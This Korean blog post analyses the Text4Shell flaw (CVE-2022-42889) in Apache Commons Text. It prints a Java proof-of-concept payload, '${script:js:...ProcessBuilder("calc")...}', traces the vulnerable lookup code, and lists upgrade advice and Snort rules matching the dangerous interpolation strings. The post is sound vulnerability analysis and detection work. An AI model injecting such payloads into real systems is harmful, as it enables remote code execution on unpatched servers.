KOROMOON

착한 사마리아인이 되고 싶습니다.

10/19/2022

[CVE-2022-42889] Text4Shell 취약점 ([CVE-2022-42889] Text4Shell Vulnerability)


( 1 ) 취약점 정의


CVE-2022-42889 취약점은 2022년 10월 13일 Apache 사의 개발자 목록 게시판에 기재되었으며 최초로 Alvaro Munoz 님께서 발견 및 보고함.

해당 취약점은 Apache Commons Text 라이브러리 1.5 ~ 1.9 버전에서 원격코드 실행 취약점으로 안전하지 않은 변수 보간 기능으로 인해 취약점이 발생함.

Apache Commons Text 라이브러리는 변수 보간을 수행하여 속성을 동적으로 평가하고 확장할 수 있음.

보간을 위한 표준 형식은 "${prefix:name}" 이며 여기서 "prefix" 는 보간을 수행하는 org.apache.commons.text.lookup.StringLookup의 인스턴스를 조회하는 데 사용됨.

이러한 조회는 "script", "dns", "url" 보간기 개체를 기본값으로 사용하는 응용 프로그램에 악의적인 코드 삽입 시 원격코드 실행 취약점이 가능함.

"script" - JVM 스크립트 실행 엔진(javax.script)을 사용하여 표현식 실행

"dns" - dns 레코드 확인

"url" - 원격 서버를 포함하여 URL 에서 값 로드


CVSS3 9.8 점으로 위험한 취약점으로 분류되었으며 기본적으로 문제가 있는 보간기 개체를 비활성화되어 패치된 Apache Commons Text 1.10.0 으로 업그레이드를 권장함.


여기서 변수 보간(Variable Interpolation)이란 대체로 문자열 보간(string interpolation)으로 명명하며 ${변수명} 의 형식을 사용하여 문장에서 변수에 할당된 값이 들어가 출력되게 되는 프로그래밍 문법을 말함.

참고 사이트 : 

https://en.wikipedia.org/wiki/String_interpolation

https://lemonlemon.tistory.com/m/153


영향받는 버전 : 

Apache Commons Text 라이브러리 1.5 ~ 1.9 버전




( 2 ) 취약점 분석


시스템 자체에서 아래와 같이 "script" 보간기 개체를 이용한 계산기 프로그램을 실행하는 PoC 를 통해 디버그 과정 중 취약점 실행 분석함.

import org.apache.commons.text.StringSubstitutor;

 

class Demo{

    public static void main(String[] args){

        StringSubstitutor stringSubstitutorInterpolator = StringSubstitutor.createInterpolator();

        String payload = "${script:js:new java.lang.ProcessBuilder(\"calc\").start()}";

        stringSubstitutorInterpolator.replace(payload);

    }

}

< 테스트 PoC 실행 화면 >


먼저 StringSubstitutor.replace 메소드에서 후속 조치를 진행함.

public String replace(final String source) {

    if (source == null) {

        return null;

    }

    final TextStringBuilder buf = new TextStringBuilder(source);

    if (!substitute(buf, 0, source.length())) {

        return source;

    }

    return buf.toString();

}


Substitute 메소드는 들어오는 문자열을 구분 분석을 위해 호출함.

< Substitute 메소드 >


이 메소드는 처음과 끝 부분에서 ${} 문자열로 구문 분석하고 추가 분석을 위해 값을 추출함.

protected String resolveVariable(final String variableName, final TextStringBuilder buf, final int startPos,

                                 final int endPos) {

    final StringLookup resolver = getStringLookup();

    if (resolver == null) {

        return null;

    }

    return resolver.lookup(variableName);

}


여기서 얻은 StringLookup 은 인스턴스화된 객체가 StringSubstitutor.createInterpolator() 를 사용하여 생성된 값임.

public static StringSubstitutor createInterpolator() {

    return new StringSubstitutor(StringLookupFactory.INSTANCE.interpolatorStringLookup());

}


그리고 생성자에서 this.setVariableResolver(variableResolver) 를 호출하여 VariableResolver 를 InterpolatorStringLookup 클래스로 설정한 후 계속해서 InterpolatorStringLookup 의 lookup 메소드를 추적함.

@Override

public String lookup(String var) {        //var="script:js:new java.lang.ProcessBuilder("calc").start()"

    if (var == null) {

        return null;

    }

 

    final int prefixPos = var.indexOf(PREFIX_SEPARATOR);

    if (prefixPos >= 0) {

        final String prefix = toKey(var.substring(0, prefixPos));

        final String name = var.substring(prefixPos + 1);

        final StringLookup lookup = stringLookupMap.get(prefix);

        String value = null;

        if (lookup != null) {

            value = lookup.lookup(name);

        }

 

        if (value != null) {

            return value;

        }

        var = var.substring(prefixPos + 1);

    }

    if (defaultStringLookup != null) {

        return defaultStringLookup.lookup(var);

    }

    return null;

}


이 lookup 메소드는 ":" 앞의 스크립트 문자열을 가로채 이를 인덱스로 사용하여 해당하는 StringLookup 개체를 가져옴.

< StringLookup 개체 >


시스템에서 지원하는 작업 유형이 18 가지임을 알 수 있음.

그런 다음 ScriptStringLookup.lookup 메소드를 호출함.

@Override

public String lookup(final String key) {

    if (key == null) {

        return null;

    }

    final String[] keys = key.split(SPLIT_STR, 2);

    final int keyLen = keys.length;

    if (keyLen != 2) {

        throw IllegalArgumentExceptions.format("Bad script key format [%s]; expected format is EngineName:Script.",

                                               key);

    }

    final String engineName = keys[0];

    final String script = keys[1];

    try {

        final ScriptEngine scriptEngine = new ScriptEngineManager().getEngineByName(engineName);

        if (scriptEngine == null) {

            throw new IllegalArgumentException("No script engine named " + engineName);

        }

        return Objects.toString(scriptEngine.eval(script), null);

    } catch (final Exception e) {

        throw IllegalArgumentExceptions.format(e, "Error in script engine [%s] evaluating script [%s].", engineName,

                                               script);

    }

}


다음은 js 스크립트 엔진을 가져와서 ScriptEngine.eval 메소드를 통해 코드를 실행시킴.

< ScriptEngine.eval 메소드 >


마지막으로 Apache Commons Text 1.10.0 버전으로 업데이트 시 "script", "dns", "url" 등 보간기 개체가 삭제됨을 확인함.

< Apache Commons Text 1.10.0 버전으로 업데이트 시 지원되는 보간기 개체 >




( 3 ) 취약점 방어


1. 최신 패치로 업그레이드함.

Apache Commons Text 1.10.0 버전으로 업그레이드


2. 보안장비에 Snort 패턴을 등록하여 모니터링 및 대응함.

현재 공개된 PoC 는 자체 시스템 내에서 프로그램을 실행하는 PoC 임.

그러나 외부에서 공격자가 악의적인 코드를 요청할 경우를 대비하고자 아래와 같이 패턴 등록이 필요함.

HTTP 요청 시 아래와 같은 문자열이 URL 에 들어갈 경우 탐지하는 패턴들임.

참고로 HTTP Header 와 Body 부분까지도 탐지하고자 한다면 Snort 옵션 http_uri; 를 빼면 되지만 오탐 가능성이 있음.


위험한 보간기 개체 문자열 리스트는 아래와 같음.

${script:

${url:UTF-8:

${dns:

${script:JEXL:

%24%7Bscript%3A

%24%7Burl%3AUTF-8%3A

%24%7Bdns%3A

%24%7Bscript%3AJEXL%3A


< 현개 공개된 PoC 모음 >


alert tcp any any -> any any (msg:"KOROMOON_Text4Shell_Vulnerability_URL_Access_1"; content:"${script:"; http_uri; nocase;)

alert tcp any any -> any any (msg:"KOROMOON_Text4Shell_Vulnerability_URL_Access_2"; content:"${url:UTF-8:"; http_uri; nocase;)

alert tcp any any -> any any (msg:"KOROMOON_Text4Shell_Vulnerability_URL_Access_3"; content:"${dns:"; http_uri; nocase;)

alert tcp any any -> any any (msg:"KOROMOON_Text4Shell_Vulnerability_URL_Access_4"; content:"${script:JEXL:"; http_uri; nocase;)

alert tcp any any -> any any (msg:"KOROMOON_Text4Shell_Vulnerability_URL_Access_5"; content:"%24%7Bscript%3A"; nocase;)

alert tcp any any -> any any (msg:"KOROMOON_Text4Shell_Vulnerability_URL_Access_6"; content:"%24%7Burl%3AUTF-8%3A"; nocase;)

alert tcp any any -> any any (msg:"KOROMOON_Text4Shell_Vulnerability_URL_Access_7"; content:"%24%7Bdns%3A"; nocase;)

alert tcp any any -> any any (msg:"KOROMOON_Text4Shell_Vulnerability_URL_Access_8"; content:"%24%7Bscript%3AJEXL%3A"; nocase;)




참고 사이트 : 

https://nvd.nist.gov/vuln/detail/CVE-2022-42889

https://securitylab.github.com/advisories/GHSL-2022-018_Apache_Commons_Text/

https://lists.apache.org/thread/n2bd4vdsgkqh2tm14l1wyc3jyol7s1om

https://www.rapid7.com/blog/post/2022/10/17/cve-2022-42889-keep-calm-and-stop-saying-4shell/

https://www.cnblogs.com/wh4am1/p/16795499.html

https://attackerkb.com/topics/98L4lvgOD1/cve-2022-42889/rapid7-analysis?referrer=activityFeed

https://www.tarlogic.com/blog/cve-2022-42889-critical-vulnerability-affects-apache-commons-text/

https://cyberwatch.fr/cve/cve-2022-42889-text4shell-comment-detecter-et-corriger-cette-vulnerabilite-sur-apache-commons-text/

https://twitter.com/pwntester/status/1582321752566161409

https://github.com/apache/commons-text/commit/b9b40b903e2d1f9935039803c9852439576780ea

https://github.com/karthikuj/cve-2022-42889-text4shell-docker

https://github.com/ClickCyber/cve-2022-42889/blob/main/CVE-2022-42889.php

https://en.wikipedia.org/wiki/String_interpolation

https://lemonlemon.tistory.com/m/153


댓글 없음:

댓글 쓰기